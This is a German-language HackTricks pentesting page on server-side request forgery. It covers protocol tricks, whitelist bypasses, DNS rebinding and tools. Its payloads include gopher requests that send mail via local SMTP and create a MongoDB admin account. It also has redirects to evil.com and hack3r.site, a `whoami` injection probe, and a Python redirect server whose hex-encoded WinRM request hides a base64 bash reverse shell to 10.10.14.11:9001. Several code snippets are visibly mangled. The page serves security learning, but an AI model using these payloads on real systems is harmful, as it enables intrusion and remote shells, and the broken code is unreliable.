hacktricks/pentesting-web/ssrf-server-side-request-forgery
2024-07-19 16:12:53 +00:00
..
cloud-ssrf.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:12:53 +00:00
README.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:12:53 +00:00
ssrf-vulnerable-platforms.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:13:33 +00:00
url-format-bypass.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:12:53 +00:00

SSRF (Server Side Request Forgery)


Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Zugang heute erhalten:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}

{% hint style="success" %} Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Grundinformationen

Eine Server-seitige Request Forgery (SSRF)-Schwachstelle tritt auf, wenn ein Angreifer eine serverseitige Anwendung manipuliert, um HTTP-Anfragen an eine von ihm gewählte Domain zu senden. Diese Schwachstelle setzt den Server willkürlichen externen Anfragen aus, die vom Angreifer geleitet werden.

SSRF erfassen

Das erste, was Sie tun müssen, ist, eine von Ihnen generierte SSRF-Interaktion zu erfassen. Um eine HTTP- oder DNS-Interaktion zu erfassen, können Sie Tools wie die folgenden verwenden:

Whitelisted Domains Bypass

Normalerweise werden Sie feststellen, dass die SSRF nur in bestimmten, auf die Whitelist gesetzten Domains oder URLs funktioniert. Auf der folgenden Seite finden Sie eine Zusammenstellung von Techniken, um zu versuchen, diese Whitelist zu umgehen:

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Umgehung über offenen Redirect

Wenn der Server korrekt geschützt ist, könnten Sie alle Einschränkungen umgehen, indem Sie einen offenen Redirect innerhalb der Webseite ausnutzen. Da die Webseite SSRF zur gleichen Domain zulässt und wahrscheinlich Redirects folgt, können Sie den offenen Redirect ausnutzen, um den Server dazu zu bringen, auf interne Ressourcen zuzugreifen.
Lesen Sie hier mehr: https://portswigger.net/web-security/ssrf

Protokolle

  • file://
  • Das URL-Schema file:// wird referenziert und zeigt direkt auf /etc/passwd: file:///etc/passwd
  • dict://
  • Das DICT-URL-Schema wird beschrieben, um Definitionen oder Wortlisten über das DICT-Protokoll abzurufen. Ein gegebenes Beispiel veranschaulicht eine konstruierte URL, die auf ein bestimmtes Wort, eine Datenbank und eine Eintragsnummer abzielt, sowie einen Fall, in dem ein PHP-Skript möglicherweise missbraucht wird, um sich mit einem DICT-Server unter Verwendung von Angreifer bereitgestellten Anmeldeinformationen zu verbinden: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Identifiziert als Protokoll für den sicheren Dateitransfer über eine sichere Shell, wird ein Beispiel bereitgestellt, das zeigt, wie ein PHP-Skript ausgenutzt werden könnte, um sich mit einem bösartigen SFTP-Server zu verbinden: url=sftp://generic.com:11111/
  • TFTP://
  • Das Trivial File Transfer Protocol, das über UDP arbeitet, wird mit einem Beispiel eines PHP-Skripts erwähnt, das dazu entworfen ist, eine Anfrage an einen TFTP-Server zu senden. Eine TFTP-Anfrage wird an 'generic.com' auf Port '12346' für die Datei 'TESTUDPPACKET' gesendet: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Dieses Segment behandelt das Lightweight Directory Access Protocol und betont seine Verwendung zur Verwaltung und zum Zugriff auf verteilte Verzeichnisinformationsdienste über IP-Netzwerke. Interagieren Sie mit einem LDAP-Server auf localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Eine Methode wird beschrieben, um SSRF-Schwachstellen auszunutzen, um mit SMTP-Diensten auf localhost zu interagieren, einschließlich Schritte zur Offenlegung interner Domainnamen und weiterer Ermittlungsaktionen basierend auf diesen Informationen.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF umgehen
  • Wenn die SSRF mit curl ausgeführt wird, hat curl eine Funktion namens URL globbing, die nützlich sein könnte, um WAFs zu umgehen. Zum Beispiel finden Sie in diesem writeup dieses Beispiel für eine Pfad Traversierung über das file Protokoll:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Die Fähigkeit des Gopher-Protokolls, IP, Port und Bytes für die Serverkommunikation anzugeben, wird erörtert, zusammen mit Tools wie Gopherus und remote-method-guesser zur Erstellung von Payloads. Zwei verschiedene Anwendungen werden veranschaulicht:

Gopher://

Mit diesem Protokoll können Sie die IP, den Port und die Bytes angeben, die der Server senden soll. Dann können Sie im Grunde eine SSRF ausnutzen, um mit jedem TCP-Server zu kommunizieren (aber Sie müssen zuerst wissen, wie man mit dem Dienst spricht).
Glücklicherweise können Sie Gopherus verwenden, um Payloads für mehrere Dienste zu erstellen. Darüber hinaus kann remote-method-guesser verwendet werden, um gopher Payloads für Java RMI Dienste zu erstellen.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Rückverbindung zu 1337

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

Gopher MongoDB -- Erstelle Benutzer mit Benutzername=admin mit Passwort=admin123 und mit Berechtigung=administrator

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF über Referrer-Header & Andere

Analyse-Software auf Servern protokolliert oft den Referrer-Header, um eingehende Links zu verfolgen, eine Praxis, die Anwendungen unbeabsichtigt Server-Side Request Forgery (SSRF) -Schwachstellen aussetzt. Dies liegt daran, dass solche Software externe URLs, die im Referrer-Header erwähnt werden, besuchen kann, um den Inhalt der verweisenden Seite zu analysieren. Um diese Schwachstellen aufzudecken, wird das Burp Suite-Plugin "Collaborator Everywhere" empfohlen, das die Art und Weise nutzt, wie Analysetools den Referer-Header verarbeiten, um potenzielle SSRF-Angriffsflächen zu identifizieren.

SSRF über SNI-Daten aus dem Zertifikat

Eine Fehlkonfiguration, die die Verbindung zu jedem Backend über eine einfache Einrichtung ermöglichen könnte, wird mit einem Beispiel für eine Nginx-Konfiguration veranschaulicht:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

In dieser Konfiguration wird der Wert aus dem Server Name Indication (SNI) Feld direkt als Adresse des Backends verwendet. Dieses Setup weist eine Schwachstelle für Server-Side Request Forgery (SSRF) auf, die ausgenutzt werden kann, indem einfach die gewünschte IP-Adresse oder der Domainname im SNI-Feld angegeben wird. Ein Beispiel für eine Ausnutzung, um eine Verbindung zu einem beliebigen Backend, wie internal.host.com, mit dem openssl Befehl herzustellen, ist unten angegeben:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Wget-Datei-Upload

SSRF mit Befehlsinjektion

Es könnte sich lohnen, eine Payload wie: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` auszuprobieren.

PDF-Darstellung

Wenn die Webseite automatisch ein PDF mit einigen Informationen erstellt, die Sie bereitgestellt haben, können Sie einige JS einfügen, die vom PDF-Ersteller selbst (dem Server) während der Erstellung des PDFs ausgeführt werden, und Sie werden in der Lage sein, eine SSRF auszunutzen. Hier finden Sie weitere Informationen.

Von SSRF zu DoS

Erstellen Sie mehrere Sitzungen und versuchen Sie, große Dateien herunterzuladen, indem Sie die SSRF aus den Sitzungen ausnutzen.

SSRF PHP-Funktionen

Überprüfen Sie die folgende Seite auf anfällige PHP- und sogar Wordpress-Funktionen:

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

SSRF-Weiterleitung zu Gopher

Für einige Exploits müssen Sie möglicherweise eine Weiterleitungsantwort senden (möglicherweise um ein anderes Protokoll wie gopher zu verwenden). Hier haben Sie verschiedene Python-Codes, um mit einer Weiterleitung zu antworten:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)


Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Zugang heute erhalten:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}

Fehlkonfigurierte Proxys zu SSRF

Tricks aus diesem Beitrag.

Flask

Flask-Proxy anfälliger Code ```python from flask import Flask from requests import get

app = Flask('main') SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''}) @app.route('/path:path')

def proxy(path): return get(f'{SITE_NAME}{path}').content

if name == "main": app.run(threaded=False)

</details>

Flask erlaubt die Verwendung von **`@`** als Anfangszeichen, was es ermöglicht, **den ursprünglichen Hostnamen als Benutzernamen zu verwenden** und einen neuen einzufügen. Angriffsanfrage:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Anfälliger Code:

Es wurde entdeckt, dass es möglich ist, den Pfad einer Anfrage mit dem Zeichen ; zu beginnen, was es ermöglicht, dann @ zu verwenden und einen neuen Host zur Zugriff zu injizieren. Angriffsanfrage:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP Eingebauter Webserver

Verwundbarer PHP-Code ```php $proxy_site = $site.$current_uri; var_dump($proxy_site);

echo "\n\n";

$response = file_get_contents($proxy_site); var_dump($response); ?>

</details>

PHP erlaubt die Verwendung von **char `*` vor einem Schrägstrich im Pfad** der URL, hat jedoch andere Einschränkungen, wie dass es nur für den Stammpfad `/` verwendet werden kann und dass Punkte `.` vor dem ersten Schrägstrich nicht erlaubt sind. Daher ist es erforderlich, beispielsweise eine punktlose hexadezimale kodierte IP-Adresse zu verwenden:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

DNS Rebidding CORS/SOP Bypass

Wenn Sie Probleme haben, Inhalte von einer lokalen IP aufgrund von CORS/SOP zu exfiltrieren, kann DNS Rebidding verwendet werden, um diese Einschränkung zu umgehen:

{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}

Automatisiertes DNS Rebidding

Singularity of Origin ist ein Tool, um DNS-Rebinding Angriffe durchzuführen. Es enthält die notwendigen Komponenten, um die IP-Adresse des Angreifer-DNS-Namens auf die IP-Adresse der Zielmaschine zurückzubinden und um Angriffs-Payloads bereitzustellen, um anfällige Software auf der Zielmaschine auszunutzen.

Schauen Sie sich auch den öffentlich laufenden Server in http://rebind.it/singularity.html an.

DNS Rebidding + TLS-Sitzungs-ID/Sitzungsticket

Anforderungen:

  • SSRF
  • Ausgehende TLS-Sitzungen
  • Dinge auf lokalen Ports

Angriff:

  1. Bitten Sie den Benutzer/Bot, auf eine Domain zuzugreifen, die vom Angreifer kontrolliert wird.
  2. Die TTL des DNS beträgt 0 Sekunden (der Opfer wird die IP der Domain also bald erneut überprüfen).
  3. Eine TLS-Verbindung wird zwischen dem Opfer und der Domain des Angreifers hergestellt. Der Angreifer führt die Payload in die Sitzungs-ID oder das Sitzungsticket ein.
  4. Die Domain wird eine unendliche Schleife von Weiterleitungen gegen sich selbst starten. Das Ziel ist es, den Benutzer/Bot dazu zu bringen, auf die Domain zuzugreifen, bis er erneut eine DNS-Anfrage der Domain durchführt.
  5. In der DNS-Anfrage wird jetzt eine private IP-Adresse angegeben (zum Beispiel 127.0.0.1).
  6. Der Benutzer/Bot wird versuchen, die TLS-Verbindung wiederherzustellen, und um dies zu tun, wird er die Sitzungs-ID/Ticket-ID (in der die Payload des Angreifers enthalten war) senden. Herzlichen Glückwunsch, Sie haben es geschafft, den Benutzer/Bot dazu zu bringen, sich selbst anzugreifen.

Beachten Sie, dass Sie während dieses Angriffs, wenn Sie localhost:11211 (memcache) angreifen möchten, das Opfer dazu bringen müssen, die ursprüngliche Verbindung mit www.attacker.com:11211 herzustellen (der Port muss immer derselbe sein).
Um diesen Angriff durchzuführen, können Sie das Tool verwenden: https://github.com/jmdx/TLS-poison/
Für weitere Informationen werfen Sie einen Blick auf den Vortrag, in dem dieser Angriff erklärt wird: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

Der Unterschied zwischen einem blinden SSRF und einem nicht blinden besteht darin, dass man bei einem blinden SSRF die Antwort der SSRF-Anfrage nicht sehen kann. Daher ist es schwieriger auszunutzen, da Sie nur bekannte Schwachstellen ausnutzen können.

Zeitbasierter SSRF

Überprüfung der Zeit der Antworten vom Server könnte möglich machen zu wissen, ob eine Ressource existiert oder nicht (vielleicht dauert der Zugriff auf eine vorhandene Ressource länger als der Zugriff auf eine, die nicht existiert).

Cloud SSRF Ausnutzung

Wenn Sie eine SSRF-Schwachstelle in einer Maschine finden, die in einer Cloud-Umgebung läuft, könnten Sie in der Lage sein, interessante Informationen über die Cloud-Umgebung und sogar Anmeldeinformationen zu erhalten:

{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}

SSRF-Anfällige Plattformen

Mehrere bekannte Plattformen enthalten oder haben SSRF-Schwachstellen enthalten, überprüfen Sie diese in:

{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}

Tools

SSRFMap

Tool zur Erkennung und Ausnutzung von SSRF-Schwachstellen.

Gopherus

Dieses Tool generiert Gopher-Payloads für:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser ist ein Java RMI Schwachstellenscanner, der Angriffsoperationen für die häufigsten Java RMI Schwachstellen unterstützt. Die meisten der verfügbaren Operationen unterstützen die --ssrf Option, um eine SSRF Payload für die angeforderte Operation zu generieren. Zusammen mit der --gopher Option können direkt einsatzbereite gopher Payloads generiert werden.

SSRF Proxy

SSRF Proxy ist ein mehrthreadiger HTTP-Proxy-Server, der entwickelt wurde, um den HTTP-Verkehr von Clients durch HTTP-Server zu tunneln, die anfällig für Server-Side Request Forgery (SSRF) sind.

Zum Üben

{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}

Referenzen

{% hint style="success" %} Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks
{% endhint %}


Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie heute Zugang:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}